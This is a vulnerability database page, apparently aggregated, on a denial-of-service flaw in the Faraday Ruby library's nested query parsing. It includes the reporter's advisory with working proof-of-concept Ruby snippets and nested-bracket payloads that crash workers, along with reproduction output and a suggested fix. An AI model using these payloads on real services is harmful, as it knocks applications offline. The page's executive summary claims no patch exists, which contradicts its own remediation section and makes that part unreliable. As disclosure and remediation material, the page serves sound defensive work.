Skip to main content

Faraday EUVDEUVD-2026-38812

| CVE-2026-54297 HIGH
Uncontrolled Recursion (CWE-674)
2026-06-19 https://github.com/lostisland/faraday GHSA-98m9-hrrm-r99r
7.5
CVSS 3.1 · Vendor: https://github.com/lostisland/faraday
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify endpoint forwarding query params to Faraday
  2. Delivery
    Craft a[x][x]...[x]=1 payload (~3.5K brackets)
  3. Exploit
    Send HTTP request with nested query string
  4. Execution
    Faraday dehash recurses past Ruby stack limit
  5. Persist
    SystemStackError crashes the worker
  6. Impact
    Repeat to sustain availability loss

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V15 - Secure Coding and Architecture Recursion depth limits
Exploitation Conditions

Exploitation requires that the target application pass an attacker-controlled (or attacker-influenced) query string into one of two specific Faraday code paths: a direct call to Faraday::Utils.parse_nested_query, or a Faraday::Connection#build_url call where the bracket-nested parameters originate from request input - for example, an HTTP proxy/forwarder that copies inbound query parameters onto an outbound Faraday request. Limiting factors: applications that build outbound Faraday requests with statically-constructed params Hashes (the idiomatic pattern) are not reachable; the crash also only kills the single worker/thread/fiber handling the request, so DoS requires enough request volume to outrun worker recovery; no authentication is required by Faraday itself but any auth gate in front of the parsing endpoint applies. No special Faraday configuration is needed - the vulnerable encoder is the default. Ruby MRI's stack threshold (~3,000+ nested keys, ~9.4 KB payload) was reproduced on Ruby 3.2.3; JRuby/TruffleRuby thresholds were not tested.

Impact

The supplied CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5 High) reflects the worst-case shape - network-reachable, unauthenticated, low-complexity availability impact - but the reporter explicitly notes that real-world severity depends on whether an application exposes the parsing path to attacker-controlled input. No EPSS score, KEV listing, or evidence of in-the-wild exploitation was provided. The crash affects only the calling thread/worker per request, so an attacker needs to send enough crafted requests to outpace worker respawn rates to produce sustained outage; against single-threaded Ruby servers or thin worker pools this is trivial, against larger Puma/Sidekiq pools it requires volume. The 9.4 KB payload is small enough to fit in normal request budgets and bypass typical body-size limits. Conflicting signal worth flagging: the input Tags field lists 'Information Disclosure, Authentication Bypass, RCE', but the advisory description, CVSS vector (C:N/I:N), and PoC results all confirm availability-only impact - the tags appear to be a generic taxonomy artifact and should not be treated as confirmed impacts. Realistic prioritization: medium-to-high for any service that forwards untrusted query strings through Faraday (proxies, webhook receivers, search aggregators); lower for services that only use Faraday with internally constructed URLs.

Exploit ScenarioDerived

An attacker identifies an endpoint on a Ruby/Rails service that forwards the inbound query string (or part of it) into an outbound Faraday request - common in API gateways, webhook relays, or search proxies. They send GET /search?a[x][x][x]...[x]=1 with ~3,500 nested brackets (about 10 KB); during URL construction, before any outbound network call is even attempted, Faraday's dehash recurses past Ruby's stack limit and raises SystemStackError, killing the handling worker. Repeating this at modest concurrency outpaces worker respawn and degrades or halts the service. Working PoC is published in the GHSA-98m9-hrrm-r99r advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 19, 2026

Denial of service in the Faraday Ruby HTTP client library (versions up to and including 2.14.2) allows remote attackers to crash worker threads by submitting query strings with deeply nested bracket-notation parameters. The Faraday::NestedParamsEncoder recursively walks attacker-controlled nested Hash structures without a depth ceiling, raising an uncaught SystemStackError at roughly 3,000+ levels of nesting (~9.4 KB payload). Publicly available exploit code exists in the GHSA-98m9-hrrm-r99r advisory itself; no public exploit identified at time of analysis in the active-exploitation sense, and impact is limited to availability - no RCE, auth bypass, or data disclosure, despite the input tags listing those categories.

RemediationAI

Vendor-released patch: upgrade Faraday to 2.14.3 or later (gem update faraday, or pin '~> 2.14.3' in the Gemfile), per advisory GHSA-98m9-hrrm-r99r at https://github.com/lostisland/faraday/security/advisories/GHSA-98m9-hrrm-r99r. If upgrading is blocked, the practical compensating controls are to never pass raw attacker-controlled query strings to Faraday::Utils.parse_nested_query or to Faraday::Connection#build_url - instead pass parameters as a Ruby Hash via the params:/options.params interface, which sidesteps decode-side recursion; alternatively, pre-validate inbound query strings at the web edge by rejecting any key whose bracket-nesting count exceeds a low threshold (for example 32), noting the trade-off that legitimate deeply nested forms will be blocked. As a last-resort wrapper, rescuing SystemStackError around the Faraday call site will prevent worker death but is fragile because Ruby does not guarantee a clean stack state after SystemStackError. Do not rely on body-size limits alone - 9.4 KB is well under typical caps.

Affected VersionsENISA

faraday 2.0.0.alpha.pre.1, < 2.14.3
faraday 1.0.0, < 1.10.6

Affected Packages

rubygems faraday fix: 1.10.6, 2.14.3
euvd faraday_2_0_0_alpha_pre_1 fix: 2.14.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in rubygems, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Faraday is a widely used Ruby HTTP client abstraction (pkg:rubygems/faraday) that supports Rails/Rack-style nested query parameters such as user[roles][]=admin. Its default decoder, Faraday::NestedParamsEncoder in lib/faraday/encoders/nested_params_encoder.rb, parses these into nested Ruby Hash structures and then traverses them with an internal dehash routine. The dehash function accepts a depth argument but never compares it against a maximum, so recursion depth becomes a direct function of attacker-supplied input. This is a textbook CWE-674 (Uncontrolled Recursion): Ruby's call stack is finite and raises SystemStackError when exhausted, terminating the calling fiber/thread/worker. Rack solved the equivalent issue with param_depth_limit (default 100); Faraday lacked any analogous guard until version 2.14.3.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/lostisland/faraday) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vuln.today AI 5.9 MEDIUM

Network-reachable and unauthenticated, but AC:H because exploitation depends on the host application wiring untrusted query strings into Faraday's nested decoder; availability-only impact per advisory.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE HIGH
Red Hat 7.5 HIGH

Primary rating from Vendor (https://github.com/lostisland/faraday).

CVSS VectorVendor: https://github.com/lostisland/faraday

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

DescriptionCVE.org

Uncontrolled Recursion in NestedParamsEncoder Allows Stack Exhaustion DoS via Deeply Nested Query Parameters

Summary

Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.

A crafted query string such as:

text
a[x][x][x][x]...[x]=1

causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker.

This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.

Affected Product

  • Product: Faraday
  • Repository: https://github.com/lostisland/faraday
  • Tested version: v2.14.2-2-g59334e0
  • Tested commit: 59334e0e9b19
  • Ruby version: ruby 3.2.3
  • Tested component: Faraday::NestedParamsEncoder / Faraday::Utils.parse_nested_query
  • Date tested: 2026-05-24

Vulnerability Type

  • Denial of Service
  • Uncontrolled Recursion
  • Stack Exhaustion

Preconditions

An application must pass attacker-controlled or attacker-influenced query strings to one of Faraday's nested parameter parsing/building paths.

Confirmed reachable paths include:

  1. Direct use of the public utility:
ruby
Faraday::Utils.parse_nested_query(untrusted_query_string)
  1. Normal Faraday request URL building:
ruby
conn = Faraday.new('https://api.example.com')
conn.build_url("/search?#{untrusted_query_string}")

In the second case, the crash occurs during URL construction before any network request is sent.

Impact

A relatively small query string can trigger a SystemStackError and crash the calling Ruby thread or worker.

In my local test environment, a payload of approximately 9.4 KB was sufficient:

text
depth=3119
bytes=9360
result=SystemStackError
message="stack level too deep"

Repeated requests with such payloads may cause a denial of service against applications whose request path forwards, parses, or rebuilds attacker-controlled query strings through Faraday.

This issue does not provide remote code execution, authentication bypass, or data disclosure. The confirmed impact is availability loss.

Technical Details

Faraday supports nested query parameters such as:

text
user[name]=alice&user[roles][]=admin

which are decoded into nested Ruby structures.

However, Faraday also accepts arbitrarily deep nesting such as:

text
a[x][x][x][x][x][x]...[x]=1

This creates a deeply nested structure similar to:

ruby
{
  "a" => {
    "x" => {
      "x" => {
        "x" => {
          "x" => ...
        }
      }
    }
  }
}

The recursive dehash routine then walks the structure without a maximum depth check.

Affected file:

text
lib/faraday/encoders/nested_params_encoder.rb

Relevant logic:

ruby
def dehash(hash, depth)
  hash.each do |key, value|
    hash[key] = dehash(value, depth + 1) if value.is_a?(Hash)
  end
# ...
end

Although the function accepts a depth argument, the value is not used to enforce a maximum depth. Therefore, recursion depth is fully controlled by the input query string.

Proof of Concept

PoC 1: Direct parser crash

ruby
require 'faraday'

payload = "a#{'[x]' * 3119}=1"
Faraday::Utils.parse_nested_query(payload)

Observed result:

text
SystemStackError: stack level too deep

PoC 2: Normal URL-building crash

ruby
require 'faraday'

conn = Faraday.new('https://api.example.com')
payload = "/search?a#{'[x]' * 3500}=1"
conn.build_url(payload)

Observed result:

text
SystemStackError

No network request is required; the crash occurs during URL construction.

Local Reproduction Results

The issue was reproduced locally against Faraday commit 59334e0e9b19.

Environment:

text
ruby 3.2.3
faraday v2.14.2-2-g59334e0
commit 59334e0e9b19

Full PoC result

text
== (A) DEEP nesting -> dehash recursion / stack exhaustion ==
  depth=100      parse=0.0003s  OK
  depth=1000     parse=0.0034s  OK
  depth=5000     *** SystemStackError (stack overflow DoS): SystemStackError
  depth=20000    *** SystemStackError (stack overflow DoS): SystemStackError
  depth=100000   *** SystemStackError (stack overflow DoS): SystemStackError

== (B) WIDE numeric keys -> dehash sort + numeric-key scan per level ==
  N=1000     parse=0.0093s
  N=10000    parse=0.1053s
  N=50000    parse=0.4992s
  N=100000   parse=1.1242s

== (C) MANY array pushes a[]&a[]&... ==
  N=1000     parse=0.0048s
  N=10000    parse=0.0614s
  N=50000    parse=0.2915s
  N=100000   parse=0.5403s

Minimal depth test

text
depth=100 bytes=303 result=OK
depth=1000 bytes=3003 result=OK
depth=2500 bytes=7503 result=OK
depth=3000 bytes=9003 result=OK
depth=3119 bytes=9360 result=SystemStackError message="stack level too deep"
depth=3500 bytes=10503 result=SystemStackError message="stack level too deep"
depth=5000 bytes=15003 result=SystemStackError message="stack level too deep"

URL-building test

text
build_url depth=100 bytes=311 result=OK
build_url depth=1000 bytes=3011 result=OK
build_url depth=3500 bytes=10511 result=SystemStackError
build_url depth=8000 bytes=24011 result=SystemStackError

These results confirm that both direct parsing and normal Faraday URL construction can trigger the stack exhaustion condition.

Expected Behavior

Faraday should reject excessively deep nested query parameters with a controlled and rescuable exception.

For example, behavior similar to Rack's parameter depth limit would prevent stack exhaustion:

text
Faraday::Error: Exceeded the maximum allowed nested parameter depth

Actual Behavior

Faraday recursively processes attacker-controlled nesting depth and eventually raises:

text
SystemStackError: stack level too deep

This exception indicates stack exhaustion and can crash the calling worker/thread.

Suggested Fix

Add a configurable maximum nesting depth to Faraday::NestedParamsEncoder, similar to Rack's param_depth_limit.

Suggested behavior:

  • Set a default maximum depth, for example 100.
  • Reject keys whose subkey chain exceeds the maximum depth.
  • Raise a normal Faraday::Error or another controlled exception rather than allowing Ruby stack exhaustion.

Example patch concept:

ruby
module Faraday
  module NestedParamsEncoder
    class << self
      attr_accessor :sort_params, :array_indices, :param_depth_limit
    end

    @param_depth_limit = 100
  end
end

Then in decode_pair:

ruby
subkeys = key.scan(SUBKEYS_REGEX)
if param_depth_limit && subkeys.length > param_depth_limit
  raise Faraday::Error, "Exceeded the maximum allowed nested parameter depth of #{param_depth_limit}"
end

A local patch implementing this approach was tested. With the patch applied:

  • The crash payloads raise a controlled Faraday::Error instead of SystemStackError.
  • Normal nested query parsing still works.
  • Existing encoder/utils tests passed in the local test set:
text
42 examples, 0 failures

Security Policy Fit

Faraday's SECURITY.md states that the 2.x branch is supported for security updates and that vulnerabilities should be reported privately.

This issue was reproduced on the current tested 2.x codebase:

text
v2.14.2-2-g59334e0
commit 59334e0e9b19

The report is intended for private disclosure through GitHub Security Advisories and should not be opened as a public issue before maintainer triage.

Related Public Discussions / Duplicate Check

I searched the public issue tracker, pull requests, changelog, and GitHub Advisory Database for similar reports using terms including:

text
NestedParamsEncoder
parse_nested_query
SystemStackError
stack level too deep
param_depth_limit
nested parameter depth
Uncontrolled recursion
CWE-674
dehash depth
parse_nested_query depth

I did not find a public report or fix for this specific NestedParamsEncoder depth-limit / SystemStackError denial-of-service issue.

The closest unrelated public items I found were:

  • lostisland/faraday#1107 - Infinite recursion (SystemStackError) on load when running with -rdebug with breakpoints
  • This appears unrelated to nested query parameter parsing and Faraday::NestedParamsEncoder.
  • GHSA-33mh-2634-fwr2 / CVE-2026-25765
  • This concerns a protocol-relative URL / host override issue and does not address nested query parameter recursion or depth limiting.

Repo-local checks also found no existing param_depth_limit or equivalent mitigation in lib/faraday/encoders/nested_params_encoder.rb.

Severity

Suggested severity: Medium

Rationale:

  • The attack can be triggered over the network in applications that pass attacker-controlled query strings into Faraday's parsing/building paths.
  • The payload is small enough to be practical, approximately 9.4 KB in the local reproduction.
  • No authentication or user interaction is required in affected application patterns.
  • The confirmed impact is availability only.

Because Faraday is a library, the exact severity depends on how an application exposes the affected parsing/building path to attacker-controlled input. If the maintainers prefer conservative scoring for library reachability, the availability impact could be adjusted accordingly.

Notes

This report does not claim remote code execution, authentication bypass, or information disclosure.

The confirmed issue is an uncontrolled-recursion denial of service condition caused by missing nesting-depth enforcement in Faraday's nested parameter decoder.

No third-party live services were tested. Reproduction was performed only in a local lab environment.

Reporter

Reported by: Emre Koca

Please let me know if you need additional reproduction details, logs, or a patch proposal.

Executive ViewAI

Why It Matters

Faraday Ruby HTTP client library (versions up to 2.14.2) is vulnerable to remote denial-of-service attacks via malformed HTTP query strings. Publicly available exploit code exists, enabling attackers to crash application services and disrupt availability. Organizations using affected Faraday versions face immediate risk; no vendor patch is currently available.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Implement interim controls: (1) enforce maximum query string size limits (~8 KB); (2) validate and reject nested bracket-notation parameters exceeding 20 levels; (3) deploy request rate limiting and connection timeouts; (4) configure WAF rules to block exploitation signatures; (5) monitor application logs for uncaught StackError exceptions.

Threat Intelligence Overview

EPSS Score
0.3%
Top 81% exploitable
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

58
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

Vendor StatusVendor

SUSE

Severity: Important

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy